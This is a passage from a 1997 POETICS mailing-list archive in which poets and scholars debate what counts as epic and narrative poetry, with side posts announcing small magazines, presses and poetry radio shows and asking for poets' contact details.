-Mike.

According to
Christine Palma: >
> >I'm developing a national list of poetry radio shows and poetry record labels

> >which will be posted on the Mouth Almighty and Mining Company sites. Would
> >appreciate help in assembling -- send contact info, current playlist/artist
> >rosters, genres, etc. Backchannel - or front for the Word!
>
> I am making KXLU's website, perhaps we could be linked from your site once
> it's up.
>
> Thanks again,
> Christine
>
> _____
> christine palma
> [redacted]
>
> samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal
> structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in
> every living room, a sculpture in every park, a sculpture in every body,
> cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics,
> mindoro, coincidence, encaustic, pedestrians rights, sleep depriviation
> high, the moon . . .
>

↑ Index

133. Michael Boughn
Re: epic/narrative
Wed 7 May 1997

Well, I was just rereading Clarke's _From Feathers to Iron_ and found this provocative (for me) passage from John Thorpe's terrific intro:

Clarke doesn't envision the epic as a literary genre so much as an inherent narrative comprehension, wherever there's an interplay of story with its telling. Since this narrative crops up everywhere on earth for the 4,000 years preceding us, he considers it innate enough to be built upon [or, say, improvised on], and acts accordingly.

Thorpe's understanding, by returning this mode of narrative to a kind of knowing [both out of _gna_ as is gnosis], frees us from from all the scholastic nit-picking over genre, and delivers us back to the creative imagination. And specifically, what Clarke calls the strengthening method of world completion.

Yes, lots of people have used epic badly, and used it for purposes not germane to us, but so what? You could equally argue that the English sonnet is linked to

the rise of colonialism, as both can be seen to arise at the same time with Henries VII and VIII, but what's that got to do with Bernadette Mayer? Or Tom Mandel?

The phrase "epic scope" seems invented for Cecil B. DeMille movies, and pretty much useless for the purposes of poetry. Surely there are different kinds of Long Poems, and our expectations of them are determined by how they interplay with the past, present, and future. Why let Pound define it for you? What's he got that we ain't got? Maybe we could see epic as a certain kind of conversation.

Interestingly, Thorpe (and Clarke) come into this conversation partly by way of what Thorpe calls the "field self", a nifty way around that binary contraction "individual/social" that was barking around here last week.

Mike

↑ Index

134. Mark Prejsnar
Misc. Proj. 2
Wed 7 May 1997

Just out:

Atlanta poetry mag, Misc. Proj., issue #2
"Incomprehension is the subtitle," or:
the goldenrod issue

dirt cheap at $1.00

subscribe to the next 4 issues for only $3.50
(economy layaway plan...)

some copies still available of
the inaugural lilac issue

"voice of the pomo South"
...since 1996

send large denomination bills to:

Misc. Proj.
c/o Prejsnar
641 N. Highland Ave. NE, #11
Atlanta, GA 30306

checks payable to M. Prejsnar

↑ Index

135. Pritchett,Pat
Re: epic/narrative
Wed 7 May 1997

Evan,

I'll take a wild stab at this and hope others follow. Narrative in its most basic sense means to tell a story in some way and while most of the time that occurs in a linear way, it need not necessarily do so. Language can be circular; narrative can be circular, or collage-like. Michelle Cliff's _Free Enterprise_ is an excellent example of a contemporary novel told in a non-linear fashion. But even in Conrad you can find the traditional linearity of narrative undergoing a subversion. Paintings can also be considered as forms of narration, as Louis Marin points out in his essay "Toward A Theory of Reading in the Visual Arts." In the same way, the evening news plays out as a narrative thru the deployment of its components: first the serious news, then weather, sports and a human interest tag. Such strategies relate less to an idea of moving thru time to achieve climax & closure than conforming to certain assumptions of how we priortize clusters of meaning/information and how those in turn support (or don't) our epistemological models for viewing the world. But what is a "story" anyway? Is it simply a description of events? Or is it the meaning we take away from a poem or other work or art; less the meaning even than the gestalt of our interaction with the text? This is all way underbaked and quite vague. Hope it helps and prompts someone else to expand/elaborate.

Patrick Pritchett

From: E. Gottlieb
To: POETICS
Subject: Re: epic/narrative
Date: Wednesday, May 07, 1997 2:16PM

Would anyone mind providing a brief definition of "narrative" poetry, as opposed to "non-narrative" poetry? All poetry is linear, I think, in the strict sense, insofar as language moves forward in time ... must narrative poetry specifically "tell a story" to be considered narrative, then? And why should the lack of a story be considered subversive, as some people have intimated? Thanks, Evan

↑ Index

136. **Stephen Cope**
Re: How Public Is the Sphere
Wed 7 May 1997

Maria:

What might some of these works be?

Thanks in advance,
Stephen Cope

> *one of the themes of my talk at rutgers was an enumeration of the works that have already been done that cd be considered poetry and cultural studies, the field it's my longterm mission to map out...md*
>
> *At 1:06 PM -0700 5/6/97, Aldon L. Nielsen wrote:*
> *Susan -- Thanks for that brief on Davidson's talk, which I look forward to reading -- At the ALA in Baltimore, some of us will attempt to show what cultural studies might offer to readings of Pound -- Demonstration is the highest form of battery!*

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137. **DS**
Re: epic/narrative
Wed 7 May 1997

At 02:31 PM 5/7/97 -0400, you wrote:
> Would anyone mind providing a brief definition of "narrative"
>poetry, as opposed to "non-narrative" poetry? All poetry is linear,

All? No!

i think of some of (as eg.s) Susan Howe's, MacLow's, Cage's & Michele Leggott's poetry as very much non-linear - in as much as there is a randomness to the reading of specific lines/words/phrases... there is a randomness in these cases that seems very much to me integral to their readings and existence and is emphatically non-linear. But that wasn't the question.

Dan

I
>think, in the strict sense, insofar as language moves forward in time ...
>must narrative poetry specifically "tell a story" to be considered
>narrative, then? And why should the lack of a story be considered
>subversive, as some people have intimated?
> Thanks, Evan
>
>

↑ Index

138. **Amittai F. Aviram**
Irena Klepfisz, anybody?
Wed 7 May 1997

Quick query. One of the things I have yet to report on was an absolutely _wonderful_ panel I attended the last day of the Rutgers Poetry and the Public Sphere conference, called "Five (Jewish) (Women) Poets." All the presentations were _fabulous_--mostly readings--and the discussion, spurred largely by a provocative and moving comment by Brian McHale (next to whom I have the privilege of sitting, as it happens), was intense and memorable. Anyway, afterwards, I went up to greet some of these five wonderful poets, and was getting autographs (in which I generally don't believe--oh, well) from Rachel Blau du Plessis (who also doesn't believe in them), when Irena Klepfisz left the room. Drat! Does anybody happen to know how to get in touch with Irena Klepfisz? An e-mail address would be ideal, but a snail address would do. I have a close friend who is very interested in Yiddish, and correspondence with Ms. Klepfisz would be just the thing for her. People into Yiddish really need a lot of support--they have to take a lot of abuse from the ignorant, saying things like that it is a useless language to study, etc.

So, anybody know an address for Irena Klepfisz? Please send this to me backchannel (e-mail to [redacted]). Thanks!

Amittai

↑ Index

139. **Maria Damon**
Re: Irena Klepfisz, anybody?
Wed 7 May 1997

At 8:25 PM -0400 5/7/97, Amittai F. Aviram wrote:
>Quick query. One of the things I have yet to report on was an absolutely
>_wonderful_ panel I attended the last day of the Rutgers Poetry and the
>Public Sphere conference, called "Five (Jewish) (Women) Poets." All the
>presentations were _fabulous_--mostly readings--and the discussion,
>spurred largely by a provocative and moving comment by Brian McHale
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>I generally don't believe--oh, well) from Rachel Blau du Plessis
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>Drat! Does anybody happen to know how to get in touch with Irena

>Klepfisz? An e-mail address would be ideal, but a snail address would
>do. I have a close friend who is very interested in Yiddish, and
>correspondence with Ms. Klepfisz would be just the thing for her.
>People into Yiddish really need a lot of support--they have to take
>a lot of abuse from the ignorant, saying things like that it is a useless
>language to study, etc.
>
>So, anybody know an address for Irena Klepfisz? Please send this to
>me backchannel (e-mail to [redacted]). Thanks!
>
>Amittai

and when u find out, let me know, cuz i have a very keen theoretical interest in yiddish. thanks. md

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140. Aldon L. Nielsen
Re: epic/narrative - Flowchart
Wed 7 May 1997

OK -- so now I have to tell my Ashbery narrative --

few years back I was detailed to drive Ashbery from San Francisco to San Jose for his reading that evening. stopped at Cody's on the way and bought a copy of Walcott's _Omeros_, which had just appeared that week. much confusion connecting with Ashbery at his hotel, 'cause his guy in New York had given him the wrong latitude and longitude, and even the wrong date for the reading -- BUT, we did meet just in time, renewed acquaintance etc -- here I am driving like the proverbial Nielsen out of hell down the 101 to make it no more than a half hour late for the reading (which went beautifully by the way - one of the best I've heard him give) -- driving along I ask, "so John, have you seen this new 'epic' sort of poem that Walcott's published." to which Ashbery responds laughing that yes, of course he knows of it, and he's put out because he too has this long poem of his own,_Flow Chart_, coming out and Derek's is not only out first, but his has more pages in it ----- epic envy, I suppose

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141. Kenneth W Sherwood
R Johnson (fwd)
Wed 7 May 1997

---------- Forwarded message ----------
Date: Wed, 7 May 1997 00:47:59 -0400 (EDT)
From: Kenneth W Sherwood <[redacted]>

To: [redacted]
Subject: R Johnson

Charles: Thanks for that response--I guess it's questionable whether epic is useful re: LZ or RJ given its implicitly totalizing stanze toward history. But what's the line from 'A'--"history is best without the names"--which, in A22/23, leaves quoted voices--a song of voices. I like to keep the 'epic' close at hand with LZ, if only because the personal-history plays into the poem as a 'lived-with-and-through' composition (LZ's contention that the poetry itself obviates biography) gives Epic new possiblities.

Does long poem suffice? LZ and RJ find it possible to finish b/c of the nature of the design? In Buffalo, we were talking about the way in which 'A's historical references served a different purpose than Pound's, seemed present for the collusion of thought, as say the Davenport anecdote related in the LZ Man/Poet volume; in conversation GD strains to articulate a point at which LZ leaves room, returns with a 50 year old zine in which he has an essay, opens guickly to a particular page and indicates a paragraph more or less the twin of what GD had been trying to say--and as GD describes it this is not a gesture of arrogance, or claim of precedences, but dwelling in the pleasure that thoughts and lines of poetry coincide.

Ken

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142. Alan Jennifer Sondheim
Poetics/Writing/Performativity
Thu 8 May 1997

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

--1921387416-141103230-863067147=:450

The attachment above should be opened in an editor, cut at the line, and run in a text-based browser, 3.0 and above preferable.

The lines should not be justified.

The Jennifer-function plays for itself.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ TEL [redacted] IMAGES:

http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME
166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, 11217

--1921387416-141103230-863067147=:450
Content-Description:

--1921387416-141103230-863067147=:450--

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143. Pierre Joris
Re: epic/narrative - Flowchart
Thu 8 May 1997

FLOWCHART was conceived as/ is a one hundred page poem for his mother's death. (JA's pages, not the publishers.) Does that, if we are playing the category-game, put the poem into another "genre" than epic? A procedural elegy, say?

Thinking of procedural works, Allen Fisher's PLACE, hundreds of pages long over a number of books & incorporating performances as well as history, could be thought of as "an epic of South London" though that genre attribution would seem restrictive, even diminishing to the work, which, I would argue, has an epic impulse and then exceeds that "genre" definition on all sides.

Narrative is unavoidable as soon as you have more than one word. (In fact, some of Celan's single words are complex narratives in themselves!). Here's a complete narrative by Basho:

frog
pond
plop!
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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144. **sschu30844**
Re: poetry and prose
Thu 8 May 1997

To Mark Weiss--I didn't mean to suggest that Yamanaka's dramatic monologues were de facto post-colonial. What I did mean to say is that I take her use of Hawaiian Creole English (pidgin) in poems that are forcefully anti-lyrical, combined with the content of her poems, can be read as such. The charge of "cultural lag" has been leveled often against Hawai'i writers, but their situation is very different from that elsewhere and thus their methods are, as well, or the timing of their methods. I'm not sure that I, for one, care too much who gets there first. If you look at the _Premonitions_ anthology, edited by Walter Lew, however, you'll see work from here that is more evidently postmodern than is Yamanaka's.

Susan

↑ Index

145. **Christine Palma**
Re: Poetry Radio/Poetry Labels
Thu 8 May 1997

please excuse the post, meant to back channel.

- c

_____
christine palma
[redacted]

samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in every living room, a sculpture in every park, a sculpture in every body, cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics, mindoro, coincidence, encaustic, pedestrian's rights, sleep depriviation high, the moon . . .

↑ Index

146. **Pierre Joris**
Re: epic/narrative - Flowchart
Thu 8 May 1997

Re envisioning a contemporary epic possibility see also Alice Notley's _Homer's Art_ (in the "Curriculum of the Soul" series), as lovely &

sharp corrective to allmale at-swords-point heroic epic.
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

147. Kathleen Crown
Re: POETICS Digest - 6 May 1997 to 7 May 1997
Thu 8 May 1997

Amittai, Maria: I did not make it to the Five (Jewish) (Women) Poets panel, but I heard that everyone in the room was glowing at the end of the session. Irena Klepfisz gave a reading in the Saturday "After Hours" session that was terrific. Last fall I assigned her collection of poems (about Holocaust survival, working class women, and Yiddish as the mother tongue) in my Women's
Studies course, and it provoked amazing second-generation testimonies from the
students. I'll backchannel her permanent address in Brooklyn, but until June you can reach her at the Jewish Studies Department at Michigan State University. Speaking of East Lansing, do any of my fellow MSU alumns out there
know where I can reach Marcus Cafagna (who I knew tangentially back when I edited the RED CEDAR REVIEW)? He gave a reading here at Rutgers in March that
I did not hear about until too late, and the email I sent to him at Carnegie Mellon was returned. Please backchannel any info. Thanks, KC
--
****
Kathleen Crown
Rutgers English and Women's Studies

Conference Co-Coordinator, "Poetry and the Public Sphere"
P.O. Box 5054
New Brunswick, NJ 08903-5054
H: 908/[redacted]
W: 908/[redacted]
Dept. Fax: 908/[redacted]
[redacted]
****

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148. **henry**
Re: epic/narrative - Flowchart
Thu 8 May 1997

I like a couple ideas here from Pierre - one, that maybe it's better not to jump to call things epic, maybe there's a better explanation, which is related to two, the reason we jump to call things epic is that epic has sort of an automatic high culture value - important, great, necessary, etc - which is why so many tiresome ones have been written down the ages -

but rather than redefine what the epic impulse actually is, as Mike Boughn suggested, as some mode of originary cognition (like Olson?) - seems to me what defines epic comes back to this social/individual thing. Epic tells the GROUP story. It is a tribal recounting of things EVERYBODY had/ has a hand in. The rise of the individual [which I am not slabbning as TERRIBLE HORRIBLE as some posts here seem to have it] allowed for re-positioning of "epic" - see what Joyce did to Homer, what Zukofsky did to Pound - redefining what is "great" or all-important - but they couldn't do it without the paradigmatically SOCIAL communal storytelling which is epic. Greek tragedy refocused epic in a related way, maybe.

so the challenge to the epic poet is to find techniques & allegories which transmit that allness quality to the specific local personal idiosyncrasies & unrepeatable events which make up the story. Dante turning his feud with Florence & the ghost of puppy love into the story of redeemed humankind. - Henry Gould

↑ Index

149. **henry**
Re: epic/narrative
Thu 8 May 1997

On Thu, 8 May 1997 21:04:56 +-900 Daniel Tessitore said:
>
>As to narrative--does Ted Hughes' CROW qualify? He originally had a more

>unified narrative frame, complete with a prose bit I believe, and he cut it
>out. Can the result be called story, narrative, linear?

in my view, even a riddle has a story to tell.
- Sherlock Holmes

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150. Mark Prejsnar
Re: epic/narrative
Thu 8 May 1997

Narrative I think does not mean linear, but story-telling. I've never seen a Clark Coolidge poem I would describe as narrative, for instance. Or take (say) Wyatt's anthology-piece "They flee from me"...While it describes events and interactions, and how those interactions have changed thru time, it does so with image, metaphor and dramtic/meditative address, depending on sonorities and rhythms to shape an emotional complex. It is too fixed on a specific moment of existence to be said to tell a story. Pound's first Canto on the other hand tells a story, for all that its astonishing mixture of sound and goosed-up archaism is doing something very aural (and peculiar) to the reader's ear.

Mark P.
Atlanta

On Wed, 7 May 1997, E. Gottlieb wrote:

> *Would anyone mind providing a brief definition of "narrative" poetry, as opposed to "non-narrative" poetry? All poetry is linear, I think, in the strict sense, insofar as language moves forward in time ... must narrative poetry specifically "tell a story" to be considered narrative, then? And why should the lack of a story be considered subversive, as some people have intimated?*
> *Thanks, Evan*

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151. henry gould
Re: epic/narrative
Thu 8 May 1997

Coolidge's "At Egypt" is maybe a kind of story... Wyatt's "They flee from me" starts like many a good tale, in medias res. Is it possible that within the all-narrative which is language & speech, lyric poetry is a kind of pause? Dante puts the song-singer in Purgatory, at the beginning - who is it, Arnaut? anyway, he is almost held back by the power of the song - but then pushes on with his journey/story (to the bigger chorus-finale). - Henry G

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152. Mark Prejsnar
Re: epic/narrative
Thu 8 May 1997

Henry's response below, and in a way the whole thread (or threads: the epic one and the narrative/linear one) are valuble for suggesting how much these things depend on **point of view** and **working priorities**. I specifically brought up Wyatt because there are **narrative-like elements** to that sonnet; but to me that don't a narrative make! On the other hand, lots of folks have insisted that anything (even a single word) can resonate outward into narrative; I move in the other direction (because of the way I tend to see my own work: the way I think of music as far more important than story-implying "content"); I'm more likely to see (and value) elements that move away from story into sound, lyric weave and langual/imagistic tension. Not linear so much as forces meeting (clash). Thus my mention of Coolidge, the best shorthand I can think of to suggest the imperatives and promises of the non-narrative.

On Thu, 8 May 1997, henry gould wrote:

> *Coolidge's "At Egypt" is maybe a kind of story... Wyatt's "They flee from me" starts like many a good tale, in medias res. Is it possible that within the all-narrative which is language & speech, lyric poetry is a kind of pause? Dante puts the song-singer in Purgatory, at the beginning - who is it, Arnaut? anyway, he is almost held back by the power of the song - but then pushes on with his journey/story (to the bigger chorus-finale).*
> *- Henry G*

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153. Maria Damon
Re: How Public Is the Sphere
Thu 8 May 1997

the works were enumerated in the format of a "dream anthology." i'll post them in the next coupla weeks when the workload eases up...unless someone else out there was listenng and wants to do it

At 2:32 PM -0700 5/7/97, Stephen Cope wrote:
>Maria:
>
>What might some of these works be?
>
>Thanks in advance,
>Stephen Cope

>
>
>>one of the themes of my talk at rutgers was an enumeration of the works
>>that have already been done that cd be considered poetry and cultural
>>studies, the field it's my longterm mission to map out...md
>>
>>At 1:06 PM -0700 5/6/97, Aldon L. Nielsen wrote:
>>>Susan -- Thanks for that brief on Davidson's talk, which I look forward to
>>>reading -- At the ALA in Baltimore, some of us will attempt to show what
>>>cultural studies might offer to readings of Pound -- Demonstration is the
>>>highest form of battery!

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154. Michael Boughn

Re: epic/narrative

Thu 8 May 1997

> *but rather than redefine what the epic impulse actually is, as Mike Boughn suggested, as some mode of originary cognition (like Olson?) - seems to me what defines epic comes back to this social/individual thing. Epic tells the GROUP story.*
>
> *- Henry Gould*

That's not exactly what I said, Henry. The question is whether you see it as restricted to some strictly "literary" domain (in which case it's all a question of arbitrary rules--hence the nit-picking arguments about whether or not Paradise Lost or the Commedia are REALLY epics--genre as jail), or whether it arises out of some other relation to the world. To call that a "redefinition" is to assume the literary/scholastic as the definition, which, I think, begs, as they say, the question. That's been the argument all along, hasn't it? Are the gestures and forms of poetry rules or specific ways of knowing?

It seems to me that Ark falls outside the realm of epic because its structure is primarily architectonic and in that sense is more closely related to Hesiod than Homer.

Falling back on the individual/group binary just confuses further as those Ulronic contraries always will. Is the Odyssey about the "group" or the "individual"? Ditto the Iliad.

"Sing, muse, the anger of the socially constructed group self!"

"Hey, buddy, construct this!"

Mike
[redacted]

↑ Index

155. **Jordan Davis**
rules and ways of knowing
Thu 8 May 1997

HOMAGE TO STEVEN HALL

I danced with rules
then I danced with ways of knowing
and I flew to Mars
on a quiet Boeing

I flew to San Francisco
where they drive on the left
I flew over Pocantico
where they know and make the rules

What people should do
is very important
I don't understand Gauss's notation
for modular numbers at all

↑ Index

156. **Brent Long**
Re: epic/narrative - Flowchart
Thu 8 May 1997

Also, Frank Stanford's The Battlefield where the moon says I Love you. The thing weighs eight pounds and is almost 600 pages long.

↑ Index

157. **Sylvester Pollet**
Re: epic/narrative - Flowchart
Thu 8 May 1997

The other one to keep in mind is David Gordon's projected ten-book poem. Three volumes out so far: Outward, Repairs, and Rest. Stem, the next one, or Part 1 of it, will be going to press soon. This is the epic to watch, in my opinion. I published a section of Stem as #8 in my broadside series, and the National Poetry Foundation publishes the whole series, so my judgment may be clouded, but I don't think so. To excerpt from the NPF catalogue description: ...its protagonist...despite a wide range of human figures, is nothing less than the life force itself. Gordon, a Pound scholar and the translator of T'ang and Sung poems and Lu Yu, dives deep into the seas of bacteriology, biology,

philosophy, music, and epic, and thus into time, myth, document, and symmetrical speculation.

see descrip. on website http://www.ume.maine.edu/~npf/
Sylvester Pollet

> *Re envisioning a contemporary epic possibility see also Alice Notley's*
> *_Homer's Art_ (in the "Curriculum of the Soul" series), as lovely &*
> *sharp corrective to allmale at-swords-point heroic epic.*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://www.albany.edu/~joris/*
> *---*
> *Everything that allows men to become rooted, through*
> *values or sentiments, in _one_ time, in _one_ history, in*
> *_one_ language, is the principle of alienation which*
> *constitutes man as privileged in so far as he is what he is,*
> *[...] imprisoning him in contentment with his own reality*
> *and encouraging him to offer it as an example or impose*
> *it as a conquering assertion. -- Maurice Blanchot*
> *==========*

↑ Index

158. **Aldon L. Nielsen**

Re: epic/narrative

Thu 8 May 1997

there is such a thing as narrative knowledge, and any individual item or experience will become narrative in consciousness -- but , following Mark, I would make a distinction of convenience between a Coolidge poem like "ing" (or whatever the title was) and "At Egypt," "Fed Drapes" etc. -- as someone in England years ago said of nomination generally -- better to think of these descriptors as naming a locus of shading from one area to another than attempt to claim a sharp break between the narrative and the non -- this many years post-structuralism it shouldn't be all that hard for us to agree that, for instance, "narrative" and "lyric," while naming difference, are inextricably and definitionally bound up in one another's cloudy metahphrical arms --

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159. **henry**
Re: epic/narrative
Thu 8 May 1997

> *non -- this many years post-structuralism it shouldn't be all that hard for us to agree that, for instance, "narrative" and "lyric," while naming difference, are inextricably and definitionally bound up in one another's cloudy metahphrical arms --*

Aldon, there's a story there somewhere - maybe even a screenplay. - HG

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160. **henry**
Re: epic/narrative
Thu 8 May 1997

On Thu, 8 May 1997 09:47:37 -0400 Michael Boughn said:
>
>That's not exactly what I said, Henry. The question is whether
>you see it as restricted to some strictly "literary" domain (in which
>case it's all a question of arbitrary rules--hence the nit-picking
>arguments about whether or not Paradise Lost or the Commedia are
>REALLY epics--genre as jail), or whether it arises out of some other
>relation to the world. To call that a "redefinition" is to assume the
>literary/scholastic as the definition, which, I think, begs, as they
>say, the question. That's been the argument all along, hasn't it? Are
>the gestures and forms of poetry rules or specific ways of knowing?

No doubt about it we get stuck in the hair-splitting of Roman law or whatever with these hoary words/genres. Makes sense to re-look (re- define, whatever) at the impulse of different approaches to poetry & see if "epic" is still a useful term for what anybody's writing now. I think that's how this thread got started? Anyway, my point was, no, I wouldn't call the genres "ways of knowing". I would call them ways of making poems. There are a lot of people writing poems containing oodles of history and knowledge but I wouldn't say "rethink the world & make an epic". That's only part of it. Epic somehow finds the common story - as STORY, as action, beginning middle end. Philosophy finds the central thought & circles around it. Poetry imitates the central action. Eric Blarnes tells me he's working on an 800 pound banter-weight class poem, 14 leagues long, centered on a tree farm in Knickerbocker, Wisconsin. To Eric, I say: Armes virumque canto! or some such thingum. - Henry Gould

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161. Jordan Davis
gubbinal in Venezuela?
Thu 8 May 1997

Henrywrt
epic finds STORY beginning middle and end

but no, that's not epic finding that's drama? epic is come in whenever and find out later where?

as for what henryrt re
genres are not ways of knowing they're ways of writing poems

ohhhhh yoooooo meeeean littttttttcchrachuuuuure
which is written by the living dead
viz the Living Dead Review of Books

Thanks eric jack and Henry! when you get to four say hello to Fernando Jordan (eyes closed and looking up)

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162. Brent Long
New Small Press
Thu 8 May 1997

Ridgerunner Press, a new small press, is now accepting submissions either by snail mail or by e-mail. The press runs a quarterly publication, with the first issue due out in July, featuring Miller Williams, Frank Stanford (previously published work, of course), and Jack Hambrik among others. They also publish two books/year. For snail-mail address, guidelines, or other information, e-mail Mike at [redacted]

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163. Jordan Davis
Letter 22
Thu 8 May 1997

The Palinode
(heat exchange)
the difference that we're picking up here
my old Proton, the cat chewed the antenna off
the signal to noise ratio
is that there is those what thinks you write what you know
which is the Jove throws a thunderbolt view of things if you ask me and
you didn't

and then there is the finding out side of things
a party prize
and the generic brand has not quite enough glue on the flap
global branding in a Japanese McDonald's ad
how're your hormones doing?
the charge apparently originates on the ground and in the air
Queen Victoria
as medium for poetry
changes

↑ Index

164. Michael Boughn
epic and narrative
Thu 8 May 1997

The Brownian Effect

"We still live upon the fruit of better times."
--Novalis

"That faces were once unique
each one looked like itself, it was not
Bell Telephone executives, all up
from the ranks."
--Charles Olson, "The Civil War"

"If Sheldrake is right--the biologists are fighting him tooth
and nail every inch of the way--the consequences would
obviously be momentous. To begin with, we would have to
recognize that our writers and artists are largely to blame
for the chaotic state of society."
--Colin Wilson

Everyones's doing it, congratulations, poet,
for noticing, does that mean you also know
the history of the buying & selling circle
of finishing the Circle, how the Venetians came across
to English Blake, who felt the Surge go out of
the Virgin's womb, bloated form to swallow
evrything--pagan, Christian, animal, vegetable,
nothing to escape the maw, the Dantean nuova
lost to the Quern, memory itself knocked out
and spun around like Dorothy's house, worse
than any Promethean eagle could make us _all_
forget our dream of home in the land of OZ

and where did all those lost recognitions go?
why, into pockets of powerful men, sd Julie Anne.

--John Clarke, _In the Analogy_ Book 2

↑ Index

165. Joseph Lease
Re: epic/narrative
Thu 8 May 1997

I think different poems have different ratios or tensions: it's a kind of torque: between narrative and lyric: a very tight, gem-like poem: I think of much Hardy and much Creeley here: can be insistently narrative just as insistently lyric: as Wyatt's loss/memory tale or Pound's Erat Hora (or o western wind):

On Thu, 8 May 1997, Mark Prejsnar wrote:

> *Narrative I think does not mean linear, but story-telling. I've never seen a Clark Coolidge poem I would describe as narrative, for instance. Or take (say) Wyatt's anthology-piece "They flee from me"...While it describes events and interactions, and how those interactions have changed thru time, it does so with image, metaphor and dramtic/meditative address, depending on sonorities and rhythms to shape an emotional complex. It is too fixed on a specific moment of existence to be said to tell a story. Pound's first Canto on the other hand tells a story, for all that its astonishing mixture of sound and goosed-up archaism is doing something very aural (and peculiar) to the reader's ear.*
>
> *Mark P.*
> *Atlanta*
>
> *On Wed, 7 May 1997, E. Gottlieb wrote:*
>
> *Would anyone mind providing a brief definition of "narrative" poetry, as opposed to "non-narrative" poetry? All poetry is linear, I think, in the strict sense, insofar as language moves forward in time ... must narrative poetry specifically "tell a story" to be considered narrative, then? And why should the lack of a story be considered subversive, as some people have intimated?*
> *Thanks, Evan*

↑ Index

166. **Joseph Lease**
Re: epic/narrative
Thu 8 May 1997

I'm very drawn to what Mark is saying here: my own ambition is often towards narrative but I also find and am frequently surpsised when/that many think I mean something much more stable, unitary, fixed, comfortable, famaliar (you get the drill) than I mean when I say narrative:

Stein is for example a non-stop lesson in narrative:

much of Aaron Shurin's work rocks narrative like a truckload of bricks:

I'm thinking also in the sense that Donald Revell has pointed to a new narrativity that comes after language poetry and learns from it:

but to return to Mark's wonderful point: I think there is a very human story in the image for example: an image or a broken syntax squib can be a construct of thought, argument, sensuality, memory: a contigent subject breaking apart and reforming:

and part of what I really honor in Mark's poems is the musical grace with which this urge/wave explodes:

On Thu, 8 May 1997, Mark Prejsnar wrote:

> *Henry's response below, and in a way the whole thread (or threads: the epic one and the narrative/linear one) are valuble for suggesting how much these things depend on **point of view** and **working priorities**. I specifically brought up Wyatt because there are **narrative-like elements** to that sonnet; but to me that don't a narrative make! On the other hand, lots of folks have insisted that anything (even a single word) can resonate outward into narrative; I move in the other direction (because of the way I tend to see my own work: the way I think of music as far more important than story-implying "content"); I'm more likely to see (and value) elements that move away from story into sound, lyric weave and langual/imagistic tension. Not linear so much as forces meeting (clash). Thus my mention of Coolidge, the best shorthand I can think of to suggest the imperatives and promises of the non-narrative.*
>
> *On Thu, 8 May 1997, henry gould wrote:*
>
> *Coolidge's "At Egypt" is maybe a kind of story... Wyatt's "They flee from me" starts like many a good tale, in medias res. Is it possible that within the all-narrative which is language & speech, lyric poetry is a kind of pause? Dante puts the song-singer in Purgatory, at the beginning - who is it, Arnaut? anyway, he is almost held back by the power of the song - but then pushes on with his journey/story (to the bigger chorus-finale).*
> *- Henry G*

↑ Index

167. **Joseph Lease**
Re: epic/narrative
Thu 8 May 1997

forces do, as Mark puts it, clash: and that clash can be homeric at the level of syntax and poesis: it's playing, language is a music: and that involves the most epistemological reaches of what Coleridge (and Byron if you're Jerome McGann) would have called imagination:

On Thu, 8 May 1997, Mark Prejsnar wrote:

> *Henry's response below, and in a way the whole thread (or threads: the epic one and the narrative/linear one) are valuble for suggesting how much these things depend on **point of view** and **working priorities**. I specifically brought up Wyatt because there are **narrative-like elements** to that sonnet; but to me that don't a narrative make! On the other hand, lots of folks have insisted that anything (even a single word) can resonate outward into narrative; I move in the other direction (because of the way I tend to see my own work: the way I think of music as far more important than story-implying "content"); I'm more likely to see (and value) elements that move away from story into sound, lyric weave and langual/imagistic tension. Not linear so much as forces meeting (clash). Thus my mention of Coolidge, the best shorthand I can think of to suggest the imperatives and promises of the non-narrative.*
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> *- Henry G*

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168. Kristin Gallagher
Re: Poetry Radio!
Thu 8 May 1997

Live at the Writer's House has been aired on WXPN (philadelphia) monthly since february 1997. it is a one hour LIVE poetry reading - no commercials - with 4 3-minute slots for singer/songwriter action.

The Writer's House is University of Pennsylvania's Communal Poetry scene. The U. gave us the recently evacuated chaplain's house (great acoustics!) and we have poetry and fiction activity ever minute of the day eve since. many incredible poets have visited/read/eaten/hungout/had drinks with us this year. it would be a too-long-post to name them all.

This fall we begin also radio theatre and live music. we will have a one hour slot every week and will air what (of these three programs) we desire :). WXPN reaches most of southeatern PA, some of maryland and some of western & central PA. some of the shows may be syndicated and then you can all pester your local public radio station to get on board.

anyone interested please backchannel. kg

↑ Index

169. Daniel Tessitore
Re: epic/narrative
Thu 8 May 1997

Hello,

New to the list here. Lurked a couple days.

As to narrative--does Ted Hughes' CROW qualify? He originally had a more unified narrative frame, complete with a prose bit I believe, and he cut it out. Can the result be called story, narrative, linear?

Dwayne

From: DS[SMTP:[redacted]]
Sent: Thursday, May 08, 1997 8:44 AM
To: [redacted]
Subject: Re: epic/narrative

At 02:31 PM 5/7/97 -0400, you wrote:
> Would anyone mind providing a brief definition of "narrative"
>poetry, as opposed to "non-narrative" poetry? All poetry is linear,

All? No!

